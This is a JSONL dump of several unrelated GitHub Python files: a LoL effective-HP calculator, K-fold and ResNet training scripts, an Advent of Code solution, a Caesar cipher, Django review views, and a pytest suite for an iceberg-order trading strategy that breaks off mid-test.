{"seq_id":"10978046702","text":"#Program: eHP Calculator\r\n#Author: Seth Weaver-Rosamilia\r\n#Last date modified 2/26/23\r\n#Calculates effective HP for the game League of Legends\r\n\r\n#imports breezypython\r\nfrom breezypythongui import EasyFrame\r\n\r\n#establishes window layout\r\nclass eHP(EasyFrame):\r\n    def __init__(self):\r\n        EasyFrame.__init__(self, width = 600, height = 200, title = 'LoL eHP Calculator')\r\n        \r\n        \r\n        topPanel = self.addPanel(row = 0, column = 0)\r\n\r\n        baseHealthPanel = topPanel.addPanel(row = 0, column = 0)\r\n        baseHealthLabel = baseHealthPanel.addLabel(text = \"Enter Base HP\", row = 0, column = 1)\r\n        baseHealthInput = baseHealthPanel.addIntegerField(value = 0, row = 1, column = 1)\r\n        baseHealthInput.grid(sticky = \"NW\")\r\n\r\n        baseArmorPanel = topPanel.addPanel(row = 0, column = 1)\r\n        baseArmorLabel = baseArmorPanel.addLabel(text = \"Enter Base Armor\", row = 0, column = 1)\r\n        baseArmorInput = baseArmorPanel.addIntegerField(value = 0, row = 1, column = 1)\r\n        baseArmorInput.grid(sticky = \"NW\")\r\n\r\n        baseMRPanel = topPanel.addPanel(row = 0, column = 2)\r\n        baseMRLabel = baseMRPanel.addLabel(text = \"Enter Base MR\", row = 0, column = 1)\r\n        baseMRInput = baseMRPanel.addIntegerField(value = 0, row = 1, column = 1)\r\n        baseMRInput.grid(sticky = \"NW\")\r\n        \r\n\r\n        midPanel = self.addPanel(row = 1, column = 0)\r\n\r\n        bonusHealthPanel = midPanel.addPanel(row = 0, column = 0)\r\n        bonusHealthLabel = bonusHealthPanel.addLabel(text = \"Enter Bonus HP\", row = 0, column = 1)\r\n        bonusHealthInput = bonusHealthPanel.addIntegerField(value = 0, row = 1, column = 1)\r\n        bonusHealthInput.grid(sticky = \"NW\")\r\n\r\n        bonusArmorPanel = midPanel.addPanel(row = 0, column = 1)\r\n        bonusArmorLabel = bonusArmorPanel.addLabel(text = \"Enter Bonus Armor\", row = 0, column = 1)\r\n        bonusArmorInput = bonusArmorPanel.addIntegerField(value = 0, row = 1, column = 1)\r\n        bonusArmorInput.grid(sticky = \"NW\")\r\n\r\n        bonusMRPanel = midPanel.addPanel(row = 0, column = 2)\r\n        bonusMRLabel = bonusMRPanel.addLabel(text = \"Enter bonus MR\", row = 0, column = 1)\r\n        bonusMRInput = bonusMRPanel.addIntegerField(value = 0, row = 1, column = 1)\r\n        bonusMRInput.grid(sticky = \"NW\")\r\n\r\n        botPanel = self.addPanel(row = 2, column = 0)\r\n        calcButton = botPanel.addButton(row = 0, column = 0, text = \"Calculate\", command = self.calculateTotals)\r\n        calcButton.grid(sticky = \"NSEW\")\r\n\r\n    def calculateTotals():\r\n        baseHP = baseHealthInput.getNumber()\r\n        bonusHP = bonusHealthInput.getNumber()\r\n        totalHP = baseHP + bonusHP\r\n\r\n        baseArmor = baseArmorInput.getNumber()\r\n        bonusArmor = bonusArmorInput.getNumber()\r\n        totalArmor = baseArmor + bonusArmor\r\n\r\n        baseMR = baseMRInput.getNumber()\r\n        bonusMR = bonusMRInput.getNumber()\r\n        totalMR = baseMR + bonusMR\r\n\r\ndef main():\r\n    eHP().mainloop()\r\n\r\nif __name__ == \"__main__\":\r\n    main()\r\n","repo_name":"Gilfaethy/SDEV-140-Final-Project","sub_path":"Capstone Project.py","file_name":"Capstone Project.py","file_ext":"py","file_size_in_byte":3013,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"75312753379","text":"import os\n#import math\nfrom sklearn.model_selection import StratifiedKFold\nimport numpy as np\nfrom FileDataGenerator import FileDataGen\n#import copy\nimport warnings\nwarnings.filterwarnings(action='ignore', category=DeprecationWarning)\n\n\n\nclass K_Fold: \n    def __init__(self, path, k):\n        data=[]\n        labels=[]\n        for class_ in os.listdir(path):\n            dat = [os.path.join(path, class_, img) for img in os.listdir(os.path.join(path, class_))]\n            lab = [class_ for i in os.listdir(os.path.join(path, class_))]\n            labels = labels+lab\n            data = data + dat\n        \n        self.folds = list(StratifiedKFold(n_splits=k, shuffle=True, random_state=1234).split(data, labels))\n        self.data = np.array(data)\n        self.labels = np.array(labels)\n        self.k=k\n        self.hist_dict = dict()\n    \n    def Apply_KFold(self, model, train_gen_params, test_gen_params, train_params, test_params, fit_params):\n        \n        self.hist_dict = dict()\n        \n        Wsave = model.get_weights()\n        \n        train_datagen = FileDataGen(**train_gen_params) \n        val_datagen = FileDataGen(**test_gen_params) \n        \n        for j, (train_idx, val_idx) in enumerate(self.folds):\n            print('\\nFold ',j)\n            X_train_cv = self.data[train_idx]\n            y_train_cv = self.labels[train_idx]\n            X_valid_cv = self.data[val_idx]\n            y_valid_cv= self.labels[val_idx]\n            \n            model.set_weights(Wsave) #re-initialize weights \n            \n            train_gen = train_datagen.flow_from_filelist(\n                X_train_cv,\n                y_train_cv,\n                **train_params)\n            \n            val_gen = val_datagen.flow_from_filelist(\n                X_valid_cv,\n                y_valid_cv,\n                **test_params)\n            \n            print('Training')\n            hist=model.fit_generator(\n                generator = train_gen,\n                steps_per_epoch=len(X_train_cv)/train_params['batch_size'],\n                **fit_params,\n                validation_steps=len(X_valid_cv)/test_params['batch_size'],\n                validation_data = val_gen)\n            \n            if len(self.hist_dict) == 0:\n                #self.hist_dict = copy.deepcopy(hist.history) #Save all the data\n                for key, val in hist.history.items(): #Just save at the end of the epoch\n                    self.hist_dict[key]= [val[len(val)-1]]\n            else:\n                for key, val in hist.history.items(): #Just save at the end of the epoch\n                    self.hist_dict[key].append(val[len(val)-1])\n                    #for i in val:  #Save all the data\n                        #self.hist_dict[key].append(i)\n        return self.hist_dict\n    \n    def Check_Folds(self):\n        print('There are {} Folds'.format(len(self.folds)))\n        #print('Train data contains {} samples'.format(len(self.folds[0][0])))\n        #print('Test data contains {} samples'.format(len(self.folds[0][1])))\n        #print('Test data samples are aprox computed from ceil(len(data)/k): {}'.format(math.ceil(len(self.data)/self.k)))\n        for j, (train_idx, val_idx) in enumerate(self.folds):\n            print('\\nFold ',j)\n            X_train_cv = self.data[train_idx]\n            y_train_cv = self.labels[train_idx]\n            X_valid_cv = self.data[val_idx]\n            y_valid_cv= self.labels[val_idx]\n            unique, counts = np.unique(y_train_cv, return_counts=True)\n            print('For training, {0} samples: {1}'.format(len(X_train_cv), dict(zip(unique, counts))))\n    \n            unique, counts = np.unique(y_valid_cv, return_counts=True)\n            print('For testing, {0} samples: {1}'.format(len(X_valid_cv), dict(zip(unique, counts))))\n    \n            print('First five X_train images: \\n{}'.format(X_train_cv[:5]))\n            print('First five X_val images: \\n{}'.format(X_valid_cv[:5]))","repo_name":"davidfreire/KFolds-CV","sub_path":"KFold.py","file_name":"KFold.py","file_ext":"py","file_size_in_byte":3923,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"38424560636","text":"import os\nimport sys\nsys.path.append('../')\nimport gc\nimport glob\nimport yaml\nimport datetime\nimport random\n\nimport numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as f\nfrom torch.utils.data import DataLoader\nimport tensorboardX as tbx\nfrom torchvision.models import resnet18\nfrom fastprogress import progress_bar, master_bar\n\nfrom models import *\nfrom src.augmentation import get_test_augmentation, get_train_augmentation\nfrom src.dataset import AlconDataset, KanaDataset\nfrom src.metrics import *\nfrom src.utils import *\nfrom src.collates import *\nfrom train_methods import *\n\n#TODO:\n\ndef main():\n    now = datetime.datetime.now()\n    now_date = '{}-{:0>2d}-{:0>2d}_{:0>2d}-{:0>2d}-{:0>2d}'.format(now.year, now.month, now.day, now.hour, now.minute, now.second)\n    print('{}-{}-{} {}:{}:{}'.format(now.year, now.month, now.day, now.hour, now.minute, now.second))\n    with open('../params/exp0.yaml', \"r+\") as f:\n        param = yaml.load(f, Loader=yaml.FullLoader)\n    param['date'] =  now_date\n    # seed set\n    seed_setting(param['seed'])\n    if torch.cuda.is_available():\n        torch.backends.cudnn.benchmark = True\n\n    fold = param['fold']\n    outdir = os.path.join(param['save path'], str(os.path.basename(__file__).split('.')[-2]) + '_fold{}'.format(fold), now_date)\n    if os.path.exists(param['save path']):\n        os.makedirs(outdir, exist_ok=True)\n    else:\n        print(\"Not find {}\".format(param['save path']))\n        raise FileNotFoundError\n\n    # outdir = '../tmp'\n\n\n    # Dataset\n\n    train_dataset = AlconDataset(df=get_train_df().query('valid != @fold'),\n                                 augmentation=get_train_augmentation(),\n                                 datadir=os.path.join(param['dataroot'],'train','imgs'), mode='train')\n    valid_dataset = AlconDataset(df=get_train_df().query('valid == @fold'),\n                                 augmentation=get_test_augmentation(),\n                                 datadir=os.path.join(param['dataroot'],'train','imgs'), mode='valid')\n    print('train dataset size: {}'.format(len(train_dataset)))\n    print('valid dataset size: {}'.format(len(valid_dataset)))\n\n    # Dataloader\n    train_dataloader = DataLoader(train_dataset, batch_size=param['batch size'], num_workers=param['thread'],\n                                  pin_memory=False, drop_last=False)\n    valid_dataloader = DataLoader(valid_dataset, batch_size=param['batch size'], num_workers=param['thread'],\n                                  pin_memory=False, drop_last=False)\n\n    print('train loader size: {}'.format(len(train_dataloader)))\n    print('valid loader size: {}'.format(len(valid_dataloader)))\n\n    # model\n    model = resnet18(pretrained=True)\n    model.fc = nn.Linear(model.fc.in_features, 48)\n\n    param['model'] = model.__class__.__name__\n\n    # optim\n    if param['optim'].lower() == 'sgd':\n        optimizer = torch.optim.SGD(model.parameters(), lr=param['lr'], momentum=0.9,\n                                    weight_decay=1e-5, nesterov=False)\n    elif param['optim'].lower() == 'adam':\n        optimizer =  torch.optim.SGD(model.parameters(), lr=param['lr'])\n    else:\n        raise NotImplementedError\n\n    # scheduler\n    scheduler = eval(param['scheduler'])\n\n\n    model = model.to(param['device'])\n    loss_fn = torch.nn.CrossEntropyLoss().to(param['device'])\n    eval_fn = accuracy\n\n    max_char_acc = 0.\n    max_3char_acc = 0.\n    min_loss = 10**5\n\n\n    writer = tbx.SummaryWriter(\"../log/exp0\")\n    for key, val in param.items():\n        # print(f'{key}: {val}')\n        writer.add_text('data/hyperparam/{}'.format(key), str(val), 0)\n\n\n    mb = master_bar(range(param['epoch']))\n    for epoch in mb:\n        avg_train_loss, avg_train_accuracy, avg_three_train_acc = train_alcon(model, optimizer, train_dataloader, param['device'],\n                                       loss_fn, eval_fn, epoch, scheduler=None, writer=writer, parent=mb) #ok\n\n        avg_valid_loss, avg_valid_accuracy, avg_three_valid_acc = valid_alcon(model, valid_dataloader, param['device'],\n                                                                              loss_fn, eval_fn)\n\n        writer.add_scalars(\"data/metric/valid\", {\n            'loss': avg_valid_loss,\n            'accuracy': avg_valid_accuracy,\n            '3accuracy': avg_three_valid_acc\n        }, epoch)\n\n        print('======================== epoch {} ========================'.format(epoch+1))\n        print('lr              : {:.5f}'.format(scheduler.get_lr()[0]))\n        print('loss            : train={:.5f}  , test={:.5f}'.format(avg_train_loss, avg_valid_loss))\n        print('acc(per 1 char) : train={:.3%}  , test={:.3%}'.format(avg_train_accuracy, avg_valid_accuracy))\n        print('acc(per 3 char) : train={:.3%}  , test={:.3%}'.format(avg_three_train_acc, avg_three_valid_acc))\n\n        if min_loss > avg_valid_loss:\n            print('update best loss:  {:.5f} ---> {:.5f}'.format(min_loss, avg_valid_loss))\n            min_loss = avg_valid_loss\n            torch.save(model.state_dict(), os.path.join(outdir, 'best_loss.pth'))\n\n        if max_char_acc < avg_valid_accuracy:\n            print('update best acc per 1 char:  {:.3%} ---> {:.3%}'.format(max_char_acc, avg_valid_accuracy))\n            max_char_acc = avg_valid_accuracy\n            torch.save(model.state_dict(), os.path.join(outdir, 'best_acc.pth'))\n\n        if max_3char_acc < avg_three_valid_acc:\n            print('update best acc per 3 char:  {:.3%} ---> {:.3%}'.format(max_3char_acc , avg_three_valid_acc))\n            max_3char_acc = avg_three_valid_acc\n            torch.save(model.state_dict(), os.path.join(outdir, 'best_3acc.pth'))\n\n        if 1:\n            if scheduler is not None:\n                if writer is not None:\n                    writer.add_scalar(\"data/learning rate\", scheduler.get_lr()[0], epoch)\n                scheduler.step()\n\n    writer.add_scalars(\"data/metric/valid\", {\n        'best loss': min_loss,\n        'best accuracy': max_char_acc,\n        'best 3accuracy': max_3char_acc\n    })\n\n    print('finish train')\n    print('result')\n    print('best loss : {}'.format(min_loss))\n    print('best 1 acc : {}'.format(max_char_acc))\n    print('best 3 acc : {}'.format(max_3char_acc))\n    writer.export_scalars_to_json(os.path.join(outdir, 'history.json'))\n    writer.close()\n\n\n    #TODO: gc.collect()\n    del train_dataset, valid_dataset\n    del train_dataloader, valid_dataloader\n    del scheduler, optimizer\n    gc.collect()\n\n    print('load weight')\n    model.load_state_dict(torch.load(os.path.join(outdir, 'best_3acc.pth')))\n\n    test_dataset = AlconDataset(df=get_test_df(),\n                                augmentation=get_test_augmentation(),\n                                datadir=os.path.join(param['dataroot'], 'test', 'imgs'), mode='test')\n\n    test_dataloader = DataLoader(test_dataset, batch_size=param['batch size'], num_workers=param['thread'],\n                                 pin_memory=False, drop_last=False)\n    print('test dataset size: {}'.format(len(test_dataset)))\n    print('test loader size: {}'.format(len(test_dataloader)))\n\n    output_list = pred_alcon(model, test_dataloader, param['device'])\n    torch.save(output_list, os.path.join(outdir, 'prediction.pth'))\n    pd.DataFrame(output_list).drop('logit', axis=1).sort_values('ID').set_index('ID').to_csv(os.path.join(outdir, 'submission.csv'))\n\n\n\n\n# def prediction():\n#     pass\n#\n# def train(model, optimizer, dataloader, device, loss_fn, eval_fn, epoch, scheduler=None, writer=None):\n#     model.train()\n#     avg_loss = 0\n#     avg_accuracy = 0\n#     for step, (inputs, targets) in enumerate(dataloader):\n#         inputs = inputs.to(device)\n#         targets = targets.to(device)\n#         optimizer.zero_grad()\n#         logits = model(inputs)\n#         preds = logits.softmax(dim=1)\n#         loss = loss_fn(logits, targets.argmax(dim=1))\n#         loss.backward()\n#         # nn.utils.clip_grad_norm_(model.parameters(), 1.0)\n#         optimizer.step()\n#         avg_loss += loss.item()\n#         acc = eval_fn(preds, targets)\n#         avg_accuracy += acc\n#         if scheduler is not None:\n#             if writer is not None:\n#                 writer.add_scalar(\"data/learning rate\", scheduler.get_lr()[0], step + epoch*len(dataloader))\n#             scheduler.step()\n#\n#         writer.add_scalars(\"data/metric/train\", {\n#             'train_loss': loss.item(),\n#             'train_accuracy': acc\n#         }, step + epoch*len(dataloader))\n#\n#     avg_loss /= len(dataloader)\n#     avg_accuracy /= len(dataloader)\n#     return avg_loss, avg_accuracy\n#\n#\n# def valid(model, dataloader, device, loss_fn, eval_fn):\n#     model.eval()\n#     avg_loss = 0\n#     avg_accuracy = 0\n#     with torch.no_grad():\n#         for inputs, targets in dataloader:\n#             inputs = inputs.to(device)\n#             targets = targets.to(device)\n#             logits = model(inputs)\n#             preds = logits.softmax(dim=1)\n#             loss = loss_fn(logits, targets.argmax(dim=1))\n#             avg_loss += loss.item()\n#             avg_accuracy += eval_fn(preds, targets)\n#         avg_loss /= len(dataloader)\n#         avg_accuracy /= len(dataloader)\n#\n#     return avg_loss, avg_accuracy\n#\n#\n# def train_alcon(model, optimizer, dataloader, device, loss_fn, eval_fn, epoch, scheduler=None, writer=None, parent=None):\n#     model.train()\n#     avg_loss = 0\n#     avg_accuracy = 0\n#     three_char_accuracy = 0\n#     for step, (inputs, targets, indices) in enumerate(progress_bar(dataloader, parent=parent)):\n#         inputs = inputs.to(device)\n#         targets = targets.to(device)\n#         _avg_loss = 0\n#         _avg_accuracy = 0\n#         preds = torch.zeros(targets.size()).to(device)\n#         for i in range(3):\n#             # _inputs = inputs[:, i].to(device)\n#             # _targets = targets[:, i].to(device)\n#             _inputs = inputs[:, i]\n#             _targets = targets[:, i]\n#             optimizer.zero_grad()\n#             logits = model(_inputs)\n#             _preds = logits.softmax(dim=1)\n#             preds[:, i] = _preds\n#             loss = loss_fn(logits, _targets.argmax(dim=1))\n#             loss.backward()\n#             # nn.utils.clip_grad_norm_(model.parameters(), 1.0)\n#             optimizer.step()\n#             _avg_loss += loss.item()\n#             acc = eval_fn(_preds, _targets.argmax(dim=1))\n#             _avg_accuracy += acc.item()\n#         _avg_loss /= 3\n#         avg_loss += _avg_loss\n#         _avg_accuracy /= 3\n#         avg_accuracy += _avg_accuracy\n#\n#         _three_char_accuracy = accuracy_three_character(preds, targets.argmax(dim=2), mean=True).item()\n#         # _three_char_accuracy = accuracy_three_character(pred, targets.to(device), mean=True)\n#\n#         three_char_accuracy += _three_char_accuracy\n#         if scheduler is not None:\n#             if writer is not None:\n#                 writer.add_scalar(\"data/learning rate\", scheduler.get_lr()[0], step + epoch*len(dataloader))\n#             scheduler.step()\n#\n#         writer.add_scalars(\"data/metric/train\", {\n#             'loss': _avg_loss,\n#             'accuracy': _avg_accuracy,\n#             '3accuracy': _three_char_accuracy\n#         }, step + epoch*len(dataloader))\n#\n#     avg_loss /= len(dataloader)\n#     avg_accuracy /= len(dataloader)\n#     three_char_accuracy /= len(dataloader)\n#     print()\n#     return avg_loss, avg_accuracy, three_char_accuracy\n#\n#\n# def valid_alcon(model, dataloader, device, loss_fn, eval_fn):\n#     model.eval()\n#     with torch.no_grad():\n#         avg_loss = 0\n#         avg_accuracy = 0\n#         three_char_accuracy = 0\n#         for step, (inputs, targets, indices) in enumerate(dataloader):\n#             inputs = inputs.to(device)\n#             targets = targets.to(device)\n#             _avg_loss = 0\n#             _avg_accuracy = 0\n#             preds = torch.zeros(targets.size()).to(device)\n#             for i in range(3):\n#                 # _inputs = inputs[:, i].to(device)\n#                 # _targets = targets[:, i].to(device)\n#                 _inputs = inputs[:, i]\n#                 _targets = targets[:, i]\n#                 logits = model(_inputs)\n#                 _preds = logits.softmax(dim=1)\n#                 preds[:, i] = _preds\n#                 loss = loss_fn(logits, _targets.argmax(dim=1))\n#                 _avg_loss += loss.item()\n#                 acc = eval_fn(_preds, _targets.argmax(dim=1))\n#                 _avg_accuracy += acc.item()\n#             _avg_loss /= 3\n#             avg_loss += _avg_loss\n#             _avg_accuracy /= 3\n#             avg_accuracy += _avg_accuracy\n#\n#             _three_char_accuracy = accuracy_three_character(preds, targets.argmax(dim=2), mean=True).item()\n#             # _three_char_accuracy = accuracy_three_character(pred, targets.to(device), mean=True)\n#\n#             three_char_accuracy += _three_char_accuracy\n#\n#         avg_loss /= len(dataloader)\n#         avg_accuracy /= len(dataloader)\n#         three_char_accuracy /= len(dataloader)\n#     return avg_loss, avg_accuracy, three_char_accuracy\n#\n#\n# def train_mixup(model, optimizer, dataloader, device, loss_fn, eval_fn, epoch, scheduler=None, writer=None):\n#     model.train()\n#     avg_loss = 0\n#     for step, (inputs, targets) in enumerate(dataloader):\n#         inputs = inputs.to(device)\n#         targets = targets.to(device)\n#         inputs, targets_a, targets_b, lam = mixup_data(inputs, targets, alpha=0.2, device=device)\n#         optimizer.zero_grad()\n#         logits = model(inputs)\n#         loss = lam * loss_fn(logits, targets_a.argmax(dim=1))  + (1 - lam) * loss_fn(logits, targets_b.argmax(dim=1))\n#         loss.backward()\n#         nn.utils.clip_grad_norm_(model.parameters(), 1.0)\n#         optimizer.step()\n#         avg_loss += loss.item()\n#         if scheduler is not None:\n#             if writer is not None:\n#                 writer.add_scalar(\"data/lr\", scheduler.get_lr()[0], step + epoch*len(dataloader))\n#             scheduler.step()\n#         writer.add_scalars(\"data/metric/train_loss\", loss.item(), step + epoch * len(dataloader))\n#     avg_loss /= len(dataloader)\n#\n#     return avg_loss\n\n\n\n\n\nif __name__ =='__main__':\n    main()\n","repo_name":"katsura-jp/alcon23","sub_path":"experiment/exp0.py","file_name":"exp0.py","file_ext":"py","file_size_in_byte":14205,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"35"}
{"seq_id":"70698092902","text":"from collections import Counter\n\nimport aoc\n\n\ndef part1(data: str, *, days_after: int = 0):\n    fishes = [int(n) for n in data.strip().split(\",\")]\n\n    while days_after:\n        fishes_now = fishes[:]\n        for i, fish in enumerate(fishes_now):\n            fish -= 1\n            if fish == -1:\n                fishes.append(8)\n                fishes[i] = 6\n            else:\n                fishes[i] = fish\n        # print(fishes)\n\n        days_after -= 1\n\n    return len(fishes)\n\n\ndef part2(data: str, *, days_after: int = 0):\n    \"\"\" Optimized?\n    \"\"\"\n    fishes = [int(n) for n in data.strip().split(\",\")]\n\n    counter = Counter(fishes)\n\n    while days_after:\n        # how many \"maturing\" ?\n        maturing = counter.pop(0, 0)\n\n        # shift the counters ( 1 -> 0, 2 -> 1, ..., 8 -> 7 )\n        counter = {n - 1: counter[n] for n in range(1, 9)}\n\n        # account for the ones that matured\n        counter[8] = maturing\n        counter[6] += maturing\n\n        days_after -= 1\n\n    return sum(counter.values())\n\n\ntest_input = \"3,4,3,1,2\"\n\n\ndef test_part1():\n    assert 26 == part1(test_input, days_after=18)\n    assert 5934 == part1(test_input, days_after=80)\n\n\ndef test_part2():\n    assert 26 == part2(test_input, days_after=18)\n    assert 5934 == part2(test_input, days_after=80)\n\n\nif __name__ == '__main__':\n    data = aoc.read_input(__file__)\n    print(\"Part1\", part1(data, days_after=80))\n    print(\"Part2\", part2(data, days_after=256))\n","repo_name":"gabrielcnr/aoc2021","sub_path":"day06.py","file_name":"day06.py","file_ext":"py","file_size_in_byte":1453,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"73525431781","text":"def encrypt(text, s):\n    result = \"\"\n    for char in text:\n        if char.isupper():\n            result += chr((ord(char) + s - 65) % 26 + 65)\n        elif char.islower():\n            result += chr((ord(char) + s - 97) % 26 + 97)\n        else:\n            result += char\n\n    return result\n\n\ndef decrypt(text):\n    result = []\n    for s in range(26):\n        temp = ''\n        for char in text:\n            if char.isupper():\n                temp += chr((ord(char) + s - 65) % 26 + 65)\n            elif char.islower():\n                temp += chr((ord(char) + s - 97) % 26 + 97)\n            else:\n                temp += char\n        result.append(temp)\n    return result\n","repo_name":"kacper-wargacki/caesar-cipher-python","sub_path":"cipher.py","file_name":"cipher.py","file_ext":"py","file_size_in_byte":674,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"8312797510","text":"from django.shortcuts import redirect, render, get_object_or_404\nfrom django.urls import reverse\n\nfrom .models import Product, Review\nfrom .forms import ReviewForm\n\n\ndef product_list_view(request):\n    template = 'app/product_list.html'\n    products = Product.objects.all()\n\n    context = {\n        'product_list': products,\n    }\n\n    return render(request, template, context)\n\n\ndef product_view(request, pk):\n    template = 'app/product_detail.html'\n    product = get_object_or_404(Product, id=pk)\n    form = ReviewForm\n    key_exists = 'reviewed_products' in request.session\n    if not key_exists:\n        request.session['reviewed_products'] = []\n        reviewed_products = []\n    else:\n        reviewed_products = request.session['reviewed_products']\n    if request.method == 'GET':\n        if not pk in reviewed_products:\n            is_review_exist = 0\n        else:\n            is_review_exist = 1\n    if request.method == 'POST':\n        if not pk in reviewed_products:\n            text = request.POST.get('text')\n            new_review = Review.objects.create(text=text, product=product)\n            reviewed_products.append(pk)\n            request.session['reviewed_products'] = reviewed_products\n            is_review_exist = 0\n        else:\n            is_review_exist = 1\n    all_review = Review.objects.filter(product__id=pk)\n    print(request.session['reviewed_products'])\n    context = {\n        'form': form,\n        'product': product,\n        'reviews': all_review,\n        'is_review_exist': is_review_exist\n    }\n\n    return render(request, template, context)\n","repo_name":"TyranR/dj-homeworks","sub_path":"site_form_works/review/app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1583,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"30907239883","text":"import logging\nfrom unittest import mock\n\nimport pytest\n\nfrom client.globals import State\nfrom client.strategy_manager import StrategyManager\nfrom message.message import Side\n\nlogger = logging.getLogger(__name__)\n\n\nDEFAULT_PRICE = 100.00\nDEFAULT_QTY = 10\nDEFAULT_SIDE = Side.Buy\nDEFAULT_MSG_ID = \"Test_Strategy\"\nDEFAULT_FILLED_QTY = 0\nDEFAULT_SLICE_SIZE = 10\nDEFAULT_REVISED_QTY = 20\nDEFAULT_REVISED_PRICE = 150.00\nDEFAULT_ORDER_ID = \"1234\"\n\n\n@pytest.fixture\ndef strategy_manager():\n    return StrategyManager(mock.Mock())\n\n\n@pytest.fixture\ndef order_id(strategy_manager):\n    strategy_manager.create_iceberg(\n        side=DEFAULT_SIDE,\n        quantity=DEFAULT_QTY,\n        limit_price=DEFAULT_PRICE,\n        slice_size=DEFAULT_SLICE_SIZE,\n    )\n\n    return next(iter(strategy_manager.orders.keys()))\n\n\n@pytest.fixture\ndef given_acked_order(exchange_create_response):\n    strategy_manager.on_create_resp(exchange_create_response)\n\n\n@pytest.fixture\ndef fill_order_id(strategy_manager, order_id):\n    slice = strategy_manager.orders[order_id][\"iceberg_order\"]\n    strategy_manager.orders[order_id][\"state\"] = State.Filled\n    strategy_manager.orders[order_id][\"filled_quantity\"] = 10\n    slice.last_slice_state = State.Filled\n    slice.parent_slice_state = State.Filled\n    slice.slice_order_id = DEFAULT_ORDER_ID\n    slice.slice_filled_quantity = 10\n    slice.filled_quantity = 10\n    strategy_manager.orders[order_id][\"iceberg_order\"] = slice\n\n    return next(iter(strategy_manager.orders.keys()))\n\n\n@pytest.fixture\ndef exchange_create_response(strategy_manager, order_id):\n    slice = strategy_manager.orders[order_id][\"iceberg_order\"]\n    return {\n        \"name\": \"OrderResponse\",\n        \"client_msg_id\": slice.slice_message_id,\n        \"client_id\": \"ceaba6cb06ee4e5ba39e84af4d01a55c\",\n        \"order_params\": {\n            \"limit_price\": DEFAULT_PRICE,\n            \"quantity\": DEFAULT_SLICE_SIZE,\n            \"side\": \"buy\",\n            \"symbol\": \"AUTOTRAD Equity\",\n            \"filled_quantity\": 0,\n            \"exch_order_id\": DEFAULT_ORDER_ID,\n            \"status\": \"ack\",\n        },\n        \"status\": True,\n        \"status_msg\": \"Successful order creation\",\n    }\n\n\n@pytest.fixture\ndef exchange_revise_response(strategy_manager, order_id):\n    slice = strategy_manager.orders[order_id][\"iceberg_order\"]\n    return {\n        \"name\": \"OrderResponse\",\n        \"client_msg_id\": slice.slice_message_id,\n        \"client_id\": \"369ceee4969c4b50bef16fb2d6652ab2\",\n        \"order_params\": {\n            \"limit_price\": 100,\n            \"quantity\": 5,\n            \"side\": \"buy\",\n            \"symbol\": \"AUTOTRAD Equity\",\n            \"filled_quantity\": 0,\n            \"exch_order_id\": DEFAULT_ORDER_ID,\n            \"status\": \"ack\",\n        },\n        \"status\": True,\n        \"status_msg\": \"Revise order successful\",\n    }\n\n\n@pytest.fixture\ndef exchange_cancel_response(strategy_manager, order_id):\n    slice = strategy_manager.orders[order_id][\"iceberg_order\"]\n    return {\n        \"name\": \"OrderResponse\",\n        \"client_msg_id\": slice.slice_message_id,\n        \"client_id\": \"9a440016815e415e9f8fa474af383703\",\n        \"order_params\": {\n            \"limit_price\": DEFAULT_PRICE,\n            \"quantity\": DEFAULT_SLICE_SIZE,\n            \"side\": \"buy\",\n            \"symbol\": \"AUTOTRAD Equity\",\n            \"filled_quantity\": 0,\n            \"exch_order_id\": DEFAULT_ORDER_ID,\n            \"status\": \"cancelled\",\n        },\n        \"status\": True,\n        \"status_msg\": \"Order cancellation is successful\",\n    }\n\n\n@pytest.fixture\ndef given_order_is_filled(strategy_manager, order_id):\n    mock_response = {\n        {\n            \"name\": \"FillOrderResponse\",\n            \"order_params\": {\n                \"limit_price\": 100,\n                \"quantity\": 10,\n                \"side\": \"buy\",\n                \"symbol\": \"AUTOTRAD Equity\",\n                \"filled_quantity\": 10,\n                \"exch_order_id\": DEFAULT_ORDER_ID,\n                \"status\": \"filled\",\n            },\n            \"client_id\": \"2285deab75cb448ebf7d784482550861\",\n            \"trade\": {\n                \"quantity\": 10,\n                \"limit_price\": 100,\n                \"symbol\": \"AUTOTRAD Equity\",\n                \"exch_order_id\": DEFAULT_ORDER_ID,\n                \"trade_id\": \"FillId-1663719822.706924\",\n                \"fill_type\": \"Complete Fill\",\n                \"side\": \"buy\",\n            },\n            \"status\": True,\n            \"status_msg\": \"Order filled successfully\",\n        }\n    }\n    strategy_manager.on_fill_response(mock_response)\n    parent_order_id = next(iter(strategy_manager.orders.keys()))\n    return parent_order_id\n\n\ndef test_ordercreation(strategy_manager, order_id):\n    # then\n    assert strategy_manager.orders[order_id][\"state\"] == State.Sent\n    assert strategy_manager.orders[order_id][\"iceberg_order\"]\n    assert strategy_manager.orders[order_id][\"limit_price\"] == DEFAULT_PRICE\n    assert strategy_manager.orders[order_id][\"side\"] == DEFAULT_SIDE\n    assert strategy_manager.orders[order_id][\"quantity\"] == DEFAULT_QTY\n    assert strategy_manager.orders[order_id][\"filled_quantity\"] == DEFAULT_FILLED_QTY\n\n\ndef test_on_create_resp(exchange_create_response, order_id, strategy_manager):\n    # When\n    strategy_manager.on_create_resp(exchange_create_response)\n\n    # Then\n    assert (\n        strategy_manager.orders[order_id][\"state\"]\n        == strategy_manager.orders[order_id][\"iceberg_order\"].last_slice_state\n    )\n\n\ndef test_revise_pass(exchange_create_response, order_id, strategy_manager):\n    # Given\n    strategy_manager.on_create_resp(exchange_create_response)\n\n    # When\n    print(strategy_manager.orders)\n    strategy_manager.revise(\n        order_id=order_id,\n        revised_quantity=DEFAULT_REVISED_QTY,\n        revised_limit_price=DEFAULT_REVISED_PRICE,\n    )\n\n    # Then\n    assert strategy_manager.orders[order_id][\"quantity\"] == DEFAULT_REVISED_QTY\n    assert strategy_manager.orders[order_id][\"limit_price\"] == DEFAULT_REVISED_PRICE\n\n\ndef test_revise_fail(order_id, strategy_manager, caplog, exchange_create_response):\n\n    # When\n    strategy_manager.revise(\n        